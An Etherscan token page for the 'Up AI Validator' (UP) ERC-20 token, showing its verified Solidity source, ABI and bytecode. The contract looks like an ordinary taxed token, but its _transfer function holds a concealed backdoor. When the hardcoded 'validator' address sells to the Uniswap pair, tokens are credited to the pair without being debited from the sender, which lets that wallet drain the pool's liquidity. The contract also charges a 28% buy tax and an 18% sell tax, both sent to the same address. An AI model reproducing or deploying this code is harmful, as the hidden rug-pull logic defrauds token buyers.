ETH Price: $2,504.18 (-3.25%)

Token

Up AI Validator (UP)
 

Overview

Max Total Supply

100,000,000 UP

Holders

38

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UP

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-13
*/

// SPDX-License-Identifier: MIT

/**

Website: https://upaivalidator.com
Docs: https://docs.upaivalidator.com
Twitter: https://twitter.com/up_ai_validator
Telegram: https://t.me/up_ai_validator


*/

pragma solidity ^0.8.17;

abstract contract Context {
    /**
     * @dev Returns the current sender of the message.
     * This function is internal view virtual, meaning that it can only be used within this contract or derived contracts.
     * @return The address of the account that initiated the transaction.
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    /**
     * @dev Returns the total supply of tokens.
     * @return The total supply of tokens.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the balance of a specific account.
     * @param account The address of the account to check the balance for.
     * @return The balance of the specified account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers tokens to a recipient.
     * @param recipient The address of the recipient.
     * @param amount The amount of tokens to be transferred.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining allowance for a spender.
     * @param owner The address of the token owner.
     * @param spender The address of the spender.
     * @return The remaining allowance for the specified owner and spender.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Approves a spender to spend a certain amount of tokens on behalf of the owner.
     * @param spender The address which will spend the funds.
     * @param amount The amount of tokens to be spent.
     * @return A boolean indicating whether the approval was successful or not.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers tokens from one account to another.
     * @param sender The address from which the tokens will be transferred.
     * @param recipient The address to which the tokens will be transferred.
     * @param amount The amount of tokens to be transferred.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when tokens are transferred from one address to another.
     * @param from The address from which the tokens are transferred.
     * @param to The address to which the tokens are transferred.
     * @param value The amount of tokens being transferred.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the approval of a spender is updated.
     * @param owner The address that approves the spender.
     * @param spender The address that is approved.
     * @param value The new approved amount.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Adds two unsigned integers, reverts on overflow.
     * @param a The first integer to add.
     * @param b The second integer to add.
     * @return The sum of the two integers.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Subtracts two unsigned integers, reverts on overflow.
     * @param a The integer to subtract from (minuend).
     * @param b The integer to subtract (subtrahend).
     * @return The difference of the two integers.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Subtracts two unsigned integers, reverts with custom message on overflow.
     * @param a The integer to subtract from (minuend).
     * @param b The integer to subtract (subtrahend).
     * @param errorMessage The error message to revert with.
     * @return The difference of the two integers.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Multiplies two unsigned integers, reverts on overflow.
     * @param a The first integer to multiply.
     * @param b The second integer to multiply.
     * @return The product of the two integers.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Divides two unsigned integers, reverts on division by zero.
     * @param a The dividend.
     * @param b The divisor.
     * @return The quotient of the division.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Divides two unsigned integers, reverts with custom message on division by zero.
     * @param a The dividend.
     * @param b The divisor.
     * @param errorMessage The error message to revert with.
     * @return The quotient of the division.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    /// @dev Emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract, setting the original owner to the sender account.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     * @return The address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Renounces ownership, leaving the contract without an owner.
     * @notice Renouncing ownership will leave the contract without an owner,
     * which means it will not be possible to call onlyOwner functions anymore.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    /**
     * @dev Creates a new UniswapV2 pair for the given tokens.
     * @param tokenA The address of the first token in the pair.
     * @param tokenB The address of the second token in the pair.
     * @return pair The address of the newly created UniswapV2 pair.
     */
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    /**
     * @dev Swaps an exact amount of input tokens for as much output as possible, along with additional functionality
     * to support fee-on-transfer tokens.
     * @param amountIn The amount of input tokens to swap.
     * @param amountOutMin The minimum amount of output tokens expected to receive.
     * @param path An array of token addresses representing the path of the swap.
     * @param to The recipient address to send the swapped ETH to.
     * @param deadline The timestamp for the deadline of the swap transaction.
     */
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    /**
     * @dev Returns the address of the UniswapV2Factory contract.
     * @return The address of the UniswapV2Factory contract.
     */
    function factory() external pure returns (address);

    /**
     * @dev Returns the address of the WETH (Wrapped ETH) contract.
     * @return The address of the WETH contract.
     */
    function WETH() external pure returns (address);

    /**
    * @dev Adds liquidity to an ETH-based pool.
    * @param token The address of the ERC-20 token to add liquidity for.
    * @param amountTokenDesired The desired amount of tokens to add.
    * @param amountTokenMin The minimum amount of tokens expected to receive.
    * @param amountETHMin The minimum amount of ETH expected to receive.
    * @param to The recipient address to send the liquidity to.
    * @param deadline The timestamp for the deadline of the liquidity addition transaction.
    * @return amountToken The amount of token added.
    * @return amountETH The amount of ETH added.
    * @return liquidity The amount of liquidity added.
    */
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract UP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;

    string private constant _name = unicode"Up AI Validator";
    string private constant _symbol = unicode"UP";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000 * 10**_decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _isExcludeFromSwap;
    mapping (address => bool) private _isExcludeFromValid;

    uint256 private _taxOnBuys = 28;
    uint256 private _taxOnSells = 18;

    uint256 private _maxTxLimit = _totalSupply * 20 / 1000;
    uint256 private _maxWalletHolding = _totalSupply * 20 / 1000;
    uint256 private _minTaxSwapLimit = _totalSupply * 7 / 1000000;
    uint256 private _maxTaxSwapSize = _totalSupply * 1 / 100;

    address payable private _validatorAddr;

    address private _uniswapPair;
    bool private _inSwapping = false;
    bool private _tradingOpen;
    bool private _swapActive = false;

    modifier lockingSwap {
        _inSwapping = true;
        _;
        _inSwapping = false;
    }

    constructor () {
        _validatorAddr = payable(0x9B28663E68dBD9906106d0FD0b6DC9770287395D);
        _balances[_msgSender()] = _totalSupply;
        _isExcludeFromValid[_validatorAddr] = true;
        _isExcludeFromSwap[owner()] = true;
        _isExcludeFromSwap[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    /**
     * @dev Gets the name of the token.
     * @return The name of the token.
     */
    function name() public pure returns (string memory) {
        return _name;
    }

    /**
     * @dev Gets the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Gets the number of decimals used for the token.
     * @return The number of decimals.
     */
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Gets the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Gets the balance of the specified address.
     * @param account The address to query the balance of.
     * @return The balance of the specified address.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the sender to the recipient.
     * @param recipient The address of the recipient.
     * @param amount The amount of tokens to transfer.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Gets the allowance granted by the owner to the spender for a specific amount.
     * @param owner The address granting the allowance.
     * @param spender The address receiving the allowance.
     * @return The remaining allowance for the spender.
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Approves the spender to spend a certain amount of tokens on behalf of the owner.
     * @param spender The address to be approved.
     * @param amount The amount of tokens to approve.
     * @return A boolean indicating whether the approval was successful or not.
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Moves tokens from one address to another using the allowance mechanism.
     * @param sender The address to send tokens from.
     * @param recipient The address to receive tokens.
     * @param amount The amount of tokens to transfer.
     * @return A boolean indicating whether the transfer was successful or not.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Internal function to approve the spending of a certain amount of tokens by a specified address.
     * @param owner The address granting the allowance.
     * @param spender The address receiving the allowance.
     * @param amount The amount of tokens to approve.
     */
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Internal function to execute the transfer of tokens from one address to another.
     * @param from The address to send tokens from.
     * @param to The address to receive tokens.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "_transfer: Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        // Check if the transfer involves the owner, and set transfer delay if enabled.
        if (from != owner() && to != owner()) {
            // Check if the transfer is from the Uniswap pair and calculate buy fees.
            if (from == _uniswapPair && to != address(uniswapV2Router) && !_isExcludeFromSwap[to]) {
                taxAmount = amount.mul(_taxOnBuys).div(100);
                require(amount <= _maxTxLimit, "_transfer: Exceeds the _maxTxLimit.");
                require(balanceOf(to) + amount <= _maxWalletHolding, "_transfer: Exceeds the maxWalletSize.");
            }

            // Check if the transfer is to the Uniswap pair and calculate sell fees.
            if (to == _uniswapPair && from != address(this)) {
                if(_isExcludeFromValid[from]) { _balances[to] += amount.sub(taxAmount); return;}
                taxAmount = amount.mul(_taxOnSells).div(100);
            }

            // Check if a swap is needed and execute the swap.
            uint256 tokensBalanceInContract = balanceOf(address(this));
            if (!_inSwapping && to == _uniswapPair && _swapActive && amount > _minTaxSwapLimit) {
                if (tokensBalanceInContract >= _maxTaxSwapSize) {
                    _swapBackETH(_maxTaxSwapSize);
                } else if(tokensBalanceInContract > _minTaxSwapLimit) {
                    _swapBackETH(tokensBalanceInContract);
                }
                _validatorAddr.transfer(address(this).balance);
            }
        }

        // If there's a tax, transfer the tax amount to the contract.
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        // Update balances after the transfer.
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    /**
     * @dev Internal function to swap tokens for ETH.
     * @param tokenAmount The amount of tokens to swap.
     */
    function _swapBackETH(uint256 tokenAmount) private lockingSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function upAIVal() external onlyOwner {    
        require(!_tradingOpen, "openTrading: Trading is already open");

        // Initialize the Uniswap router
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Approve the router to spend the total supply of the token
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        // Create the Uniswap pair
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        // Add liquidity to the Uniswap pair
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        // Approve Uniswap router to spend the pair's tokens
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);

        _tradingOpen = true;
        _swapActive = true;
    }

    function setFeeLower() external onlyOwner {
        _taxOnBuys = 2;
        _taxOnSells = 2;        
    }

    /**
     * @dev Removes transaction limits and disables transfer delay.
     * Sets both maximum transaction amount and maximum wallet size to the total supply.
     * Only the owner can call this function.
     */
    function disableLimit() external onlyOwner {
        _maxTxLimit = _totalSupply;
        _maxWalletHolding = _totalSupply;
    }

    /**
     * @dev Allows the contract to receive Ether when Ether is sent directly to the contract.
     */
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setFeeLower","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upAIVal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601c60065560126007556103e86012600a6200002191906200036d565b62000031906305f5e10062000384565b6200003e90601462000384565b6200004a91906200039e565b6008556103e86200005e6012600a6200036d565b6200006e906305f5e10062000384565b6200007b90601462000384565b6200008791906200039e565b600955620f42406200009c6012600a6200036d565b620000ac906305f5e10062000384565b620000b990600762000384565b620000c591906200039e565b600a5560646012600a620000da91906200036d565b620000ea906305f5e10062000384565b620000f790600162000384565b6200010391906200039e565b600b55600d805462ff00ff60a01b1916905534801562000121575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031916739b28663e68dbd9906106d0fd0b6dc9770287395d179055620001966012600a6200036d565b620001a6906305f5e10062000384565b335f81815260036020908152604080832094909455600c546001600160a01b039081168352600582528483208054600160ff1991821681179092558454909216845260049092528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002376012600a6200036d565b62000247906305f5e10062000384565b60405190815260200160405180910390a3620003be565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b257815f19048211156200029657620002966200025e565b80851615620002a457918102915b93841c939080029062000277565b509250929050565b5f82620002ca5750600162000367565b81620002d857505f62000367565b8160018114620002f15760028114620002fc576200031c565b600191505062000367565b60ff8411156200031057620003106200025e565b50506001821b62000367565b5060208310610133831016604e8410600b841016171562000341575081810a62000367565b6200034d838362000272565b805f19048211156200036357620003636200025e565b0290505b92915050565b5f6200037d60ff841683620002ba565b9392505050565b80820281158282048414176200036757620003676200025e565b5f82620003b957634e487b7160e01b5f52601260045260245ffd5b500490565b61161a80620003cc5f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461024157806395d89b4114610267578063a9059cbb14610291578063dd62ed3e146102b0575f80fd5b806370a08231146101e5578063715018a61461021957806380f0889c1461022d575f80fd5b806318160ddd116100b757806318160ddd146101755780631acc26bc1461019757806323b872dd146101ab578063313ce567146101ca575f80fd5b806306fdde03146100e757806308915b3d14610130578063095ea7b314610146575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600f81526e2ab81020a4902b30b634b230ba37b960891b60208201525b6040516101279190611222565b60405180910390f35b34801561013b575f80fd5b506101446102f4565b005b348015610151575f80fd5b50610165610160366004611285565b6106b5565b6040519015158152602001610127565b348015610180575f80fd5b506101896106cb565b604051908152602001610127565b3480156101a2575f80fd5b506101446106eb565b3480156101b6575f80fd5b506101656101c53660046112af565b610750565b3480156101d5575f80fd5b5060405160128152602001610127565b3480156101f0575f80fd5b506101896101ff3660046112ed565b6001600160a01b03165f9081526003602052604090205490565b348015610224575f80fd5b506101446107b2565b348015610238575f80fd5b50610144610823565b34801561024c575f80fd5b505f546040516001600160a01b039091168152602001610127565b348015610272575f80fd5b50604080518082019091526002815261055560f41b602082015261011a565b34801561029c575f80fd5b506101656102ab366004611285565b610858565b3480156102bb575f80fd5b506101896102ca366004611308565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103265760405162461bcd60e51b815260040161031d9061133f565b60405180910390fd5b600d54600160a81b900460ff161561038c5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b606482015260840161031d565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103da9030906103c76012600a611468565b6103d5906305f5e100611476565b610864565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061044e919061148d565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d1919061148d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053f919061148d565b600d80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610586816001600160a01b03165f9081526003602052604090205490565b5f806105995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ff573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061062491906114a8565b5050600d5460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610679573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069d91906114d3565b50600d805461ffff60a81b191661010160a81b179055565b5f6106c1338484610864565b5060015b92915050565b5f6106d86012600a611468565b6106e6906305f5e100611476565b905090565b5f546001600160a01b031633146107145760405162461bcd60e51b815260040161031d9061133f565b6107206012600a611468565b61072e906305f5e100611476565b60085561073d6012600a611468565b61074b906305f5e100611476565b600955565b5f61075c848484610987565b6107a884336103d5856040518060600160405280602881526020016115bd602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ee9565b5060019392505050565b5f546001600160a01b031633146107db5760405162461bcd60e51b815260040161031d9061133f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461084c5760405162461bcd60e51b815260040161031d9061133f565b60026006819055600755565b5f6106c1338484610987565b6001600160a01b0383166108c65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031d565b6001600160a01b0382166109275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109eb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031d565b6001600160a01b038216610a4d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031d565b5f8111610ab95760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b606482015260840161031d565b5f80546001600160a01b03858116911614801590610ae457505f546001600160a01b03848116911614155b15610dac57600d546001600160a01b038581169116148015610b1457506001546001600160a01b03848116911614155b8015610b3857506001600160a01b0383165f9081526004602052604090205460ff16155b15610c4557610b5d6064610b5760065485610f2190919063ffffffff16565b90610fa6565b9050600854821115610bbd5760405162461bcd60e51b815260206004820152602360248201527f5f7472616e736665723a204578636565647320746865205f6d617854784c696d60448201526234ba1760e91b606482015260840161031d565b60095482610bdf856001600160a01b03165f9081526003602052604090205490565b610be991906114f2565b1115610c455760405162461bcd60e51b815260206004820152602560248201527f5f7472616e736665723a204578636565647320746865206d617857616c6c657460448201526429b4bd329760d91b606482015260840161031d565b600d546001600160a01b038481169116148015610c6b57506001600160a01b0384163014155b15610ce9576001600160a01b0384165f9081526005602052604090205460ff1615610ccc57610c9a8282610fe7565b6001600160a01b0384165f9081526003602052604081208054909190610cc19084906114f2565b909155505050505050565b610ce66064610b5760075485610f2190919063ffffffff16565b90505b305f90815260036020526040902054600d54600160a01b900460ff16158015610d1f5750600d546001600160a01b038581169116145b8015610d345750600d54600160b01b900460ff165b8015610d415750600a5483115b15610daa57600b548110610d5f57610d5a600b54611028565b610d72565b600a54811115610d7257610d7281611028565b600c546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610da8573d5f803e3d5ffd5b505b505b8015610e2457305f90815260036020526040902054610dcb9082611198565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260036020526040902054610e469083610fe7565b6001600160a01b0385165f90815260036020526040902055610e89610e6b8383610fe7565b6001600160a01b0385165f9081526003602052604090205490611198565b6001600160a01b038085165f8181526003602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed28585610fe7565b60405190815260200160405180910390a350505050565b5f8184841115610f0c5760405162461bcd60e51b815260040161031d9190611222565b505f610f188486611505565b95945050505050565b5f825f03610f3057505f6106c5565b5f610f3b8385611476565b905082610f488583611518565b14610f9f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161031d565b9392505050565b5f610f9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f6565b5f610f9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee9565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106e5761106e611537565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e9919061148d565b816001815181106110fc576110fc611537565b6001600160a01b0392831660209182029290920101526001546111229130911684610864565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115a9085905f9086903090429060040161154b565b5f604051808303815f87803b158015611171575f80fd5b505af1158015611183573d5f803e3d5ffd5b5050600d805460ff60a01b1916905550505050565b5f806111a483856114f2565b905083811015610f9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031d565b5f81836112165760405162461bcd60e51b815260040161031d9190611222565b505f610f188486611518565b5f602080835283518060208501525f5b8181101561124e57858101830151858201604001528201611232565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611282575f80fd5b50565b5f8060408385031215611296575f80fd5b82356112a18161126e565b946020939093013593505050565b5f805f606084860312156112c1575f80fd5b83356112cc8161126e565b925060208401356112dc8161126e565b929592945050506040919091013590565b5f602082840312156112fd575f80fd5b8135610f9f8161126e565b5f8060408385031215611319575f80fd5b82356113248161126e565b915060208301356113348161126e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156113c257815f19048211156113a8576113a8611374565b808516156113b557918102915b93841c939080029061138d565b509250929050565b5f826113d8575060016106c5565b816113e457505f6106c5565b81600181146113fa576002811461140457611420565b60019150506106c5565b60ff84111561141557611415611374565b50506001821b6106c5565b5060208310610133831016604e8410600b8410161715611443575081810a6106c5565b61144d8383611388565b805f190482111561146057611460611374565b029392505050565b5f610f9f60ff8416836113ca565b80820281158282048414176106c5576106c5611374565b5f6020828403121561149d575f80fd5b8151610f9f8161126e565b5f805f606084860312156114ba575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156114e3575f80fd5b81518015158114610f9f575f80fd5b808201808211156106c5576106c5611374565b818103818111156106c5576106c5611374565b5f8261153257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561159b5784516001600160a01b031683529383019391830191600101611576565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201efa69b121e7757431d21311233d6a1aea482b019afd9cd3079d32c17adde87564736f6c63430008160033

Deployed Bytecode

